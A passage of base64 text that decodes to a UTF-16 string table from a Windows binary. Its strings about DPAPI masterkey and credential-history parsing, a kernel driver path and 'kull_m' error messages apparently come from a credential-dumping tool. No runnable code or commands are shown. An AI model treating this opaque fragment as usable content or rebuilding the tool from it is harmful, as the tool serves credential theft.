QAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8ATwBDAFMAUABfAFIARQBTAFAATwBOAFMARQBfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBSAEUAUQBVAEUAUwBUAF8ATwBSAEkARwBJAE4AQQBUAE8AUgBfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBPAFUAUgBDAEUAXwBMAE8AQwBBAFQASQBPAE4AXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAFMATwBVAFIAQwBFAF8AVQBSAEwAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAE4ARQBXAF8ASwBFAFkAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAE8AQwBTAFAAXwBDAEEAQwBIAEUAXwBQAFIARQBGAEkAWABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAE0AQQBSAFQAXwBDAEEAUgBEAF8AUgBPAE8AVABfAEkATgBGAE8AXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAAAAAAAAQwBFAFIAVABfAE4ATwBfAEEAVQBUAE8AXwBFAFgAUABJAFIARQBfAEMASABFAEMASwBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBIAEEATgBEAEwARQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAAAAAAAQwBFAFIAVABfAEgAQwBSAFkAUABUAFAAUgBPAFYAXwBPAFIAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8ASABBAE4ARABMAEUAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAFMAVQBCAEoARQBDAFQAXwBJAE4ARgBPAF8AQQBDAEMARQBTAFMAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAAAAAAAAAABDAEUAUgBUAF8AQwBBAF8ATwBDAFMAUABfAEEAVQBUAEgATwBSAEkAVABZAF8ASQBOAEYATwBfAEEAQwBDAEUAUwBTAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEMAQQBfAEQASQBTAEEAQgBMAEUAXwBDAFIATABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUgBPAE8AVABfAFAAUgBPAEcAUgBBAE0AXwBDAEUAUgBUAF8AUABPAEwASQBDAEkARQBTAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBSAE8ATwBUAF8AUABSAE8ARwBSAEEATQBfAE4AQQBNAEUAXwBDAE8ATgBTAFQAUgBBAEkATgBUAFMAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFUAQgBKAEUAQwBUAF8ATwBDAFMAUABfAEEAVQBUAEgATwBSAEkAVABZAF8ASQBOAEYATwBfAEEAQwBDAEUAUwBTAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBTAFUAQgBKAEUAQwBUAF8ARABJAFMAQQBCAEwARQBfAEMAUgBMAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBDAEUAUABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAABDAEUAUgBUAF8AbwByAGkAZwBpAG4AYQBsAF8AQwBFAFAAXwBQAFIATwBQAF8ASQBEAAAAAAAAAEMARQBSAFQAXwBTAEkARwBOAF8ASABBAFMASABfAEMATgBHAF8AQQBMAEcAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBDAEEAUgBEAF8AUABJAE4AXwBJAEQAXwBQAFIATwBQAF8ASQBEAAAAAAAAAEMARQBSAFQAXwBTAEMAQQBSAEQAXwBQAEkATgBfAEkATgBGAE8AXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBVAEIASgBFAEMAVABfAFAAVQBCAF8ASwBFAFkAXwBCAEkAVABfAEwARQBOAEcAVABIAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBQAFUAQgBfAEsARQBZAF8AQwBOAEcAXwBBAEwARwBfAEIASQBUAF8ATABFAE4ARwBUAEgAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEkAUwBTAFUARQBSAF8AUABVAEIAXwBLAEUAWQBfAEIASQBUAF8ATABFAE4ARwBUAEgAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8ASQBTAFMAVQBFAFIAXwBDAEgAQQBJAE4AXwBTAEkARwBOAF8ASABBAFMASABfAEMATgBHAF8AQQBMAEcAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAABDAEUAUgBUAF8ASQBTAFMAVQBFAFIAXwBDAEgAQQBJAE4AXwBQAFUAQgBfAEsARQBZAF8AQwBOAEcAXwBBAEwARwBfAEIASQBUAF8ATABFAE4ARwBUAEgAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAE4ATwBfAEUAWABQAEkAUgBFAF8ATgBPAFQASQBGAEkAQwBBAFQASQBPAE4AXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAABDAEUAUgBUAF8AQQBVAFQASABfAFIATwBPAFQAXwBTAEgAQQAyADUANgBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8ASABBAE4ARABMAEUAXwBUAFIAQQBOAFMARgBFAFIAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEgAQwBSAFkAUABUAFAAUgBPAFYAXwBUAFIAQQBOAFMARgBFAFIAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAFMATQBBAFIAVABfAEMAQQBSAEQAXwBSAEUAQQBEAEUAUgBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAAAAAAAQwBFAFIAVABfAFMARQBOAEQAXwBBAFMAXwBUAFIAVQBTAFQARQBEAF8ASQBTAFMAVQBFAFIAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAABDAEUAUgBUAF8ASwBFAFkAXwBSAEUAUABBAEkAUgBfAEEAVABUAEUATQBQAFQARQBEAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBEAEkAUwBBAEwATABPAFcARQBEAF8ARgBJAEwARQBUAEkATQBFAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAAAAAAAAAQwBFAFIAVABfAFIATwBPAFQAXwBQAFIATwBHAFIAQQBNAF8AQwBIAEEASQBOAF8AUABPAEwASQBDAEkARQBTAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAAAAAAAAAQwBFAFIAVABfAFMATQBBAFIAVABfAEMAQQBSAEQAXwBSAEUAQQBEAEUAUgBfAE4ATwBOAF8AUgBFAE0ATwBWAEEAQgBMAEUAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAFMASABBADIANQA2AF8ASABBAFMASABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAFMARQBSAFYARQBSAF8AQwBFAFIAVABTAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAFIAQQBfAFMASQBHAE4AQQBUAFUAUgBFAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAAAAEMARQBSAFQAXwBTAEMARQBQAF8AUgBBAF8ARQBOAEMAUgBZAFAAVABJAE8ATgBfAEMARQBSAFQAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBDAEEAXwBDAEUAUgBUAF8AUABSAE8AUABfAEkARAAAAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAFMASQBHAE4ARQBSAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBOAE8ATgBDAEUAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAEUATgBDAFIAWQBQAFQAXwBIAEEAUwBIAF8AQwBOAEcAXwBBAEwARwBfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAEMARQBQAF8ARgBMAEEARwBTAF8AUABSAE8AUABfAEkARAAAAFAAUgBPAFYAXwBjAG4AZwAAAAAAAAAAAEEAVABfAEsARQBZAEUAWABDAEgAQQBOAEcARQAAAAAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAAAAAAAAAAABDAE4ARwAgAEsAZQB5AAAAQwBFAFIAVABfAHUAbgBrAF8AZgB1AHQAdQByAGUAXwB1AHMAZQAAAEMARQBSAFQAXwB1AG4AawBfADYAMwBfAG0AYQB5AGIAZQBfAGYAdQB0AHUAcgBlAF8AdQBzAGUAAAAAAAAAAABDAEUAUgBUAF8AcgBlAHMAZQByAHYAZQBkAF8AcAByAG8AcABfAGkAZAAAAAAAAABDAEUAUgBUAF8AdQBzAGUAcgBfAHAAcgBvAHAAXwBpAGQAAAAAAAAAJQAqAHMAKgAqAEIATABPAEIAKgAqAAoAAAAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGcAdQBpAGQAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGcAdQBpAGQATQBhAHMAdABlAHIASwBlAHkAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAAAApAAoAAAAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcARABlAHMAYwByAGkAcAB0AGkAbwBuAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHMAegBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAQQBsAGcAQwByAHkAcAB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGEAbAB0AEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAcABiAFMAYQBsAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAG0AYQBjAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAcABiAEgAbQBhAGMAawBLAGUAeQAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBBAGwAZwBIAGEAcwBoAEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAbQBhAGMAMgBLAGUAeQBMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrADIASwBlAHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAYQB0AGEATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABwAGIARABhAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBnAG4ATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABwAGIAUwBpAGcAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACgAKAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAKgAqAAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwBhAGwAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIAByAG8AdQBuAGQAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAACUAKgBzACAAIABwAGIASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEkATgBGAE8AKgAqAAoAAAAAAAAAJQAqAHMAIAAgAGcAdQBpAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAqACoARABPAE0AQQBJAE4ASwBFAFkAKgAqAAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAZQBjAHIAZQB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAQQBjAGMAZQBzAHMAYwBoAGUAYwBrAEwAZQBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAE0AYQBzAHQAZQByAEsAZQB5ACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAHAAYgBTAGUAYwByAGUAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAcABiAEEAYwBjAGUAcwBzAGMAaABlAGMAawAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACoAKgBNAEEAUwBUAEUAUgBLAEUAWQBTACoAKgAKAAAAAAAAAAAAAAAAACUAKgBzACAAIABzAHoARwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAB7ACUALgAzADYAcwB9AAoAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AE0AYQBzAHQAZQByAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQgBhAGMAawB1AHAASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBDAHIAZQBkAEgAaQBzAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAbwBtAGEAaQBuAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzAFsAbQBhAHMAdABlAHIAawBlAHkAXQAKAAAAJQAqAHMAWwBiAGEAYwBrAHUAcABrAGUAeQBdAAoAAAAlACoAcwBbAGMAcgBlAGQAaABpAHMAdABdAAoAAAAAACUAKgBzAFsAZABvAG0AYQBpAG4AawBlAHkAXQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGcAdQBpAGQAIAAgACAAIAAgACAAOgAgAAAAAAAAACUAKgBzACAAIABkAHcATgBlAHgAdABMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEUATgBUAFIAWQAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAAACUAKgBzACAAIAByAG8AdQBuAGQAcwAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHMAaQBkAEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAAACUAKgBzACAAIABzAGgAYQAxAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAG0AZAA0AEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAUwBhAGwAdAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAFMAaQBkACAAIAAgACAAIAAgACAAOgAgAAAAAAAAACUAKgBzACAAIABwAFMAZQBjAHIAZQB0ACAAIAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAG8AbgBfAHUAbgBwAHIAbwB0AGUAYwB0AAAAAAAAAAAAbwBuAF8AcAByAG8AdABlAGMAdAAAAAAAcgBlAHMAZQByAHYAZQBkAAAAAAAAAAAAcwB0AHIAbwBuAGcAAAAAAHIAZQBxAHUAaQByAGUAXwBzAHQAcgBvAG4AZwAAAAAAJQBzACAAOwAgAAAAAAAAAHUAaQBfAGYAbwByAGIAaQBkAGQAZQBuAAAAAAAAAAAAdQBuAGsAbgBvAHcAbgAAAGMAcgBlAGQAXwBzAHkAbgBjAAAAAAAAAGEAdQBkAGkAdAAAAAAAAABuAG8AXwByAGUAYwBvAHYAZQByAHkAAAB2AGUAcgBpAGYAeQBfAHAAcgBvAHQAZQBjAHQAaQBvAG4AAAAAAAAAYwByAGUAZABfAHIAZQBnAGUAbgBlAHIAYQB0AGUAAABzAHkAcwB0AGUAbQAAAAAAcAByAG8AbQBwAHQAXwBvAG4AXwB1AG4AcAByAG8AdABlAGMAdAAAAHAAcgBvAG0AcAB0AF8AbwBuAF8AcAByAG8AdABlAGMAdAAAAAAAAABwAHIAbwBtAHAAdABfAHMAdAByAG8AbgBnAAAAAAAAAAAAAAAAAAAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAACUAKgBzAEQAaQByAGUAYwB0AG8AcgB5ACAAJwAlAHMAJwAAAAAAAAAgACgAJQBzACkAAABcAAAAKgAAAC4AAAAuAC4AAAAAACUAKgBzACUAMwB1ACAAJQBjAHwAJwAlAHMAJwAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAOwAgAEQAZQB2AGkAYwBlAEkAbwBDAG8AbgB0AHIAbwBsACAAKAAwAHgAJQAwADgAeAApACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFUAbgBpAHEAdQBlAE4AYQBtAGUATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBpAFAAdQBiAGwAaQBjAEsAZQB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAUAByAGkAdgBhAHQAZQBLAGUAeQBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEUAeABQAHUAYgBsAGkAYwBLAGUAeQBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AFAAcgBpAHYAYQB0AGUASwBlAHkATABlAG4AIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAGEAcwBoAEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBFAHgAcABvAHIAdABGAGwAYQBnAEwAZQBuACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AEUAeABwAG8AcgB0AEYAbABhAGcATABlAG4AIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHAAVQBuAGkAcQB1AGUATgBhAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAFMACgAAACUAKgBzACAAIABwAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUwBpAFAAdQBiAGwAaQBjAEsAZQB5ACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABTAGkAUAByAGkAdgBhAHQAZQBLAGUAeQAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAFMAaQBFAHgAcABvAHIAdABGAGwAYQBnACAAIAAgACAAIAAgADoACgAAAAAAJQAqAHMAIAAgAHAARQB4AFAAdQBiAGwAaQBjAEsAZQB5ACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABFAHgAUAByAGkAdgBhAHQAZQBLAGUAeQAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAEUAeABFAHgAcABvAHIAdABGAGwAYQBnACAAIAAgACAAIAAgADoACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAAAAAACUAKgBzACoAKgBLAEUAWQAgACgAYwBuAGcAKQAqACoACgAAAAAAAAAlACoAcwAgACAAZAB3AFYA